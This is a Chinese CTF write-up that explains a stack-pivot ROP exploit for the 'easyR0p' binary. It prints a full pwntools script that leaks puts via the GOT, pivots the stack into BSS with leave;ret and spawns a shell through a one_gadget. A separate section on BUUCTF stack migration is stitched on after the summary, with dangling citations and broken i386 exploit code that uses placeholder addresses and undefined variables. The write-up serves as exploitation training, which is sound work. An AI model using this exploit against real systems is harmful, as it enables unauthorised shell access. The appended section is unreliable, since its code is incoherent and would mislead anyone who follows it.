pwn-栈迁移-ROP

这里写图片描述# 栈迁移-ROP

题目描述

这里给出题目链接

https://github.com/LeeHaming/CTF-learn/blob/master/easyR0p/easyR0p

程序的结构很简单,main()函数中有一个while(1)的循环,循环中rop()函数执行。

rop()中有明显的栈溢出,最开始给s申请的内存空间为:0x40;然而read()可以读入0x50字节。

于是就可以通过溢出修改程序控制流。

解题思路

题目是别人解析出来的,我目前只能达到能看懂exp的境界…….这里就是翻译别人的exp吧

1.checksec

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

可以看到启动了”栈不可执行”的保护机制;也就限制了不能在栈上运行代码。

2.寻找二进制文件提供的信息

system()

没有找到可用的system()函数

方法一:readelf -r easyR0p
方法二:在IDA-pro中使用alt+t;查找system
方法三:直接看IDA-pro中的.got.plt段信息
/bin/sh

没有找到可用的”/bin/sh”字符串

在IDA-pro中使用alt+t;查找system
可泄露的函数
readelf -r easyR0p

readelf-r

这里泄漏的是puts()函数地址;满足:地址中没有0a,并且是@plt函数

libc(offset/gadget/puts)
ldd easyR0p

ldd

可以知道,程序执行过程中使用libc.so.6,于是我们可以得到相应的offset

#python
from pwn import *
elf=ELF("./libc.so.6")
puts_off=elf.symbols['puts']

getputs_off

one_gadget ./libc.so.6

one_gadget

可控制字节数
gdb eadyR0p
pattern_create
pattern_offset

pattern_create

可以看到发生了栈溢出,此时esp(栈顶)内容为IAAeAA4A

pattern_offset

于是我们可以找到,我们一共可以输入80bytes内容,其中最后8bytes内容可以控制程序的执行流。其中读入到s的字符串长度为64byts,这时的栈情况为:

------------------------------high-address
64bytes 合法内容
8bytes old-ebp
8bytes ret-address
-------------------------------low-address

可见我们可以控制的长度一共有16bytes。

3.思路整理

linux漏洞利用之 – ROP探究

文章是关于ROP姿势的阶段性总结,里边针对不同的函数情形采取不同的方法构造ROpe

从上文可以看到,已知的二进制程序中没有可用的system()地址、/bin/sh地址、也没有可用的execve();可控制字节数为16bytes,并且栈不可执行

one_gadget && system(“/bin/sh”)

如果是system(“/bin/sh”),需要从libc.so.6中找到system()、/bin/sh,并设计执行。相比而言,在这种情况下,one_gadget()(即exceve(“/bin/sh”))更容易。因此想办法构造执行one_gadget。

于是需要获取libc_base_address—>one_gadget_address

获取libc_puts

通过puts()地址泄露,可以得到libc_base_addres

上述两个操作无法在16bytes内完成,于是需要在可读写、可执行的bss段进行构造,也就是说需要进行栈迁移

栈迁移
leave  == mov esp,ebp;pop ebp;
ret    == pop eip #弹出栈顶数据给eip寄存器

How to ROP

覆盖EBP实现栈迁移

注释: 利用的时候利用read_syscall 到execve_syscall 利用返回值当参数

注意积累栈迁移的做法,pop ebp, ret 并且利用read函数的写入功能,将执行地址写入到数据段,然后栈迁移到数据段(pop ebp; ret), 再利用 leave; ret p32(pop ebp;ret) + p32(buf - 4) + p32(leave; ret) 这样进行栈迁移

引文中提出了栈迁移的方法,需要借助:read()以及”leave/ret”将ebp修改到数据段bss;同时将希望执行的exp指令写入到数据段中,在数据段构造函数栈。

我们可以看到,该二进制文件中存在可用的read()函数,并且有可用的leave;ret

这里值得注意的是0x4006f5这行中的s是-40h;也就是从fd中读取bytes到[ebp-40h]

read-leave-ret

解读已有的exp

pop_rdi=0x4007d3    #0x00000000004007d3 : pop rdi ; ret
pop_rsi_r15=0x4007d1    #0x00000000004007d1 : pop rsi ; pop r15 ; ret
pop_rbp=0x400625    #0x0000000000400625 : pop rbp ; ret
puts_got=0x601020
puts_plt=0x400580
bss=0x601100    #.bss NOBITS  0000000000601060  00001060??

rop  = 'a'*0x40
rop += p64(bss+0x40+0x40)
rop += p64(0x4006F5)
r.send(rop)

rop  = p64(pop_rdi)
rop += p64(puts_got)
rop += p64(puts_plt)
rop += p64(pop_rbp)
rop += p64(bss+0x40+0x40)
rop += p64(0x4006F5)
rop += p64(0xdeadbeef)*2
rop += p64(bss+0x40-8)
rop += p64(0x40071C)
r.send(rop)
pause()

time.sleep(1)
data=r.recv(1000)
data=[i for i in data.split('\n') if i!='']
leak=data[-1]
leak=leak.ljust(8,'\x00')
leak=u64(leak)
print 'leak puts-->',hex(leak)

libc=leak-0x6f690
one=libc+0x4526a

rop  = 'c'*0x28
rop += p64(one)
rop += '\x00'*0x20

pause()
r.send(rop)
r.interactive()

这段exp还不是我写的,下面我将详细解析每一小段的含义以及运行之后的内存情况。

用到的address
pop_rdi=0x4007d3    #0x00000000004007d3 : pop rdi ; ret
pop_rsi_r15=0x4007d1    #0x00000000004007d1 : pop rsi ; pop r15 ; ret
pop_rbp=0x400625    #0x0000000000400625 : pop rbp ; ret
puts_got=0x601020
puts_plt=0x400580
bss=0x601100    #.bss NOBITS  0000000000601060  00001060??
ROPgadget --binary easyR0p --only "pop|ret"

pop-ret

获取puts_plt和puts_got方法:

方法一:命令行
readelf -r easyR0p
gdb中使用:info func
方法二:在IDA-pro中查看.plt段内容和.plt.got段内容

puts_plt

puts_got

但是至于那个bss的地址为什么是这个我就比较迷了……因为当我使用命令查看.bss地址没有找到这个,并且IDA中也不存在这个地址对应的内容。我目前猜测的是,是在bss段自己开辟了一段空间。

readelf -S easyR0p

findbss

我目前只能找到这个数字….emmmm离0x601100不太远…..这个问题以后慢慢解决

至此,这几个数字就解释完了

第一段rop
rop  = 'a'*0x40
rop += p64(bss+0x40+0x40)
rop += p64(0x4006F5)
r.send(rop)

这段构造了一个0x50长度rop;发送之后栈结构为:

ebp=0x7ffe24397020
esp=0x7ffe24396fe0

firstrop

接着的代码段如下,这几条指令执行完之后会将[rbp-0x40h]地址给rdi;这就是puts函数的参数;然后puts()执行之后有leave;ret;然后会:

esp=0x7ffe24397020
ebp=0x601180
esp=0x7ffe24397028
eip=0x4006f5
esp=0x7ffe24397030
rdi, rsi, rdx, rcx, r8, r9 (x64函数传参过程)
leave  == mov esp,ebp;pop ebp;
ret    == pop eip #弹出栈顶数据给eip寄存器

firstrop1

到这里,就将程序流劫持到0x4006f5了,这里会进入read()

firstrop2

这里是在处理read()函数的参数,其中fd:edi为0;count:edx为50;buf:rsi为[rbp-0x40],即0x601140。也就是要从stdin读入0x50字节到数据段0x601140处。这里就相当于栈迁移了,接下来就要发送第二段rop,将exp指令写入到数据段中。

第二段rop
rop  = p64(pop_rdi)
rop += p64(puts_got)
rop += p64(puts_plt)

rop += p64(pop_rbp)
rop += p64(bss+0x40+0x40)
rop += p64(0x4006F5)

rop += p64(0xdeadbeef)*2
rop += p64(bss+0x40-8)
rop += p64(0x40071C)
r.send(rop)

第一段rop提供了Read()函数,将上边这段rop写入到0x601140中

secondrop0

接下来的代码段内容为:

secondrop1

此时

rdi=rax=0x601140
rbp=0x601180
rsp=0x7ffe24397030
然后将rdi指向的内容puts(结果时栈结构什么的都木有变化呀...)
#leave;ret之后(mov rsp,rbp;pop rbp;pop eip)
rsp=0x601180
rbp=[0x601180]=0x601138
rsp=0x601188
eip=[0x601188]=0x40071c
rsp=0x601190

这时ret命令结束的时候,返回到0x40071c地址处,这里的代码段为:

secondrop3

于是再一次执行leave;ret

#leave;ret之后(mov rsp,rbp;pop rbp;pop eip)
rsp=0x601138
rbp=[0x601138]=0x0
rsp=0x601140
eip=[0x601140]=0x4007d3

接着开始执行0x4007d3;栈结构变为

secondrop4

#0x4007d3 pop rdi;ret
rdi=[0x601148]=0x601020
next_address=0x400580   #puts_plt

接着开始执行puts_plt;这个过程结束之后可以认为栈结构没有发生变化;但是将rdi(0x601020)中的内容(puts_address)puts出来了;ret之后进入到0x400625;

#0x400625:pop rbp;ret
rsp=0x601160
rbp=[0x601160]=0x116080
rsp=0x601168
eip=0x4006f5
rsp=0x601170

这之后就进入到0x4006f5;read()函数;这就引导我们输入下一个rop了;进入下一个rop之前,需要先弄清read()函数的参数

secondrop5

可以看到,和上次一样,从stdin读入0x50h字节到0x601140中;也就是将下一段rop读入到0x601140中

第三段rop
rop  = 'c'*0x28
rop += p64(one)
rop += '\x00'*0x20

thirdrop0

此时

rbp=0x601140
rsp=0x601168
eip=[rsp]=0x00007f16ea27c26a

接下来就执行one_gadget了

技能总结

在IDA-pro中使用alt+t;查找system
checksec
readelf -r easyR0p
ldd easyR0p
one_gadget ./libc.so.6
gdb eadyR0p
pattern_create
pattern_offset
ROPgadget --binary easyR0p --only "pop|ret"
gdb中使用:info func
readelf -S easyR0p
rdi, rsi, rdx, rcx, r8, r9 (x64函数传参过程)
leave  == mov esp,ebp;pop ebp;
ret    == pop eip #弹出栈顶数据给eip寄存器
#python
from pwn import *
elf=ELF("./libc.so.6")
puts_off=elf.symbols['puts']
### 关于BUUCTF中的迁移例题及其解题思路 在CTF竞赛中,尤其是涉及PWN题目时,“迁移”是一种常见的技术手段。当目标程序存在空间不足或者无法满足攻击者需求的情况时,可以通过特定方式将执行流迁移到其他内存区域(如BSS段),从而实现更复杂的操作。 #### BUUCTF 中的迁移案例分析 在BUUCTF系列挑战赛中,确实有一些经典的迁移题目可以作为学习对象。以下是针对此类问题的一个典型例子以及其对应的解决方法: - **题目名称**: `buuctf level2` 或类似的缓冲区溢出练习[^1] 此题通常设计了一个小型漏洞程序,允许用户输入数据并触发缓冲区溢出条件。然而,在实际利用过程中发现原始堆大小不足以容纳完整的shellcode或其他复杂指令序列。因此需要采用迁移策略来完成最终的目标——获取Shell权限。 ##### 技术要点解析 为了成功实施基于迁移的技术方案,需掌握以下几个核心概念和技术细节: 1. **识别可用的大块连续内存** 利用调试工具(gdb/pwndbg),找到一块足够大的未被占用的空间用于放置新的有效载荷(payload) 。这可能位于全局变量存储区(BSS Section)或者其他动态分配的数据结构附近。 2. **构建ROP链调整控制流程** 如果直接跳转至新地址不可行,则应考虑通过返回导向编程(Return-Oriented Programming, ROP) 构建必要的中间步骤以改变寄存器状态或设置参数环境以便顺利过渡到下一步动作 。 3. **编写适合目标平台架构特点的有效负载(ShellCode)** 针对具体操作系统版本(x86/x64 Linux), 设计紧凑高效的机器码片段用来打开交互终端设备(/bin/sh) 并保持持久化连接通道[^2] 。 4. **精确计算偏移量(offsets)** 准确测量从初始崩溃点到达预期重定位位置之间的距离差值至关重要;稍有偏差可能导致整个计划失败甚至引发异常终止进程运行状况发生 。 ```python from pwn import * context.arch = 'i386' elf = ELF('./vuln') p = process("./vuln") offset_to_retaddr = cyclic_find('kaaa') # Find the offset using pattern_create and pattern_offset tools. payload = b'A' * offset_to_retaddr # Assume we have found a suitable gadget address via ROPgadget or similar tool. pop_eax_gadget_addr = 0xdeadbeef # Example value; replace with real one later. int_0x80_syscall_instruciton_addr = 0xbadf00d # Another placeholder. rop_chain = [ pop_eax_gadget_addr, 0xb # Syscall number for execve syscall on i386 architecture. ] for rop_element in rop_chain: payload += p32(rop_element) new_stack_base_address = elf.bss() + 0x100 # Hypothetical large buffer within BSS section range. payload += p32(new_stack_base_address) # Overwrite saved EIP to point at new stack base addr. # Now craft shellcode that will be copied into newly allocated space above... shellcode = asm(shellcraft.sh()) assert len(shellcode) < (new_stack_base_address - current_buffer_starting_point), "Payload too long!" final_payload = payload.ljust(len(current_buffer)+len(shellcode),b'\x90')+shellcode p.sendline(final_payload) p.interactive() ``` 上述脚本展示了如何组合多种技巧形成一套连贯的整体解决方案路径图谱。它先确定了关键要素的位置关系之后再逐步拼接起来构成最后提交给服务器端处理的信息包体内容形式。 --- ####
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值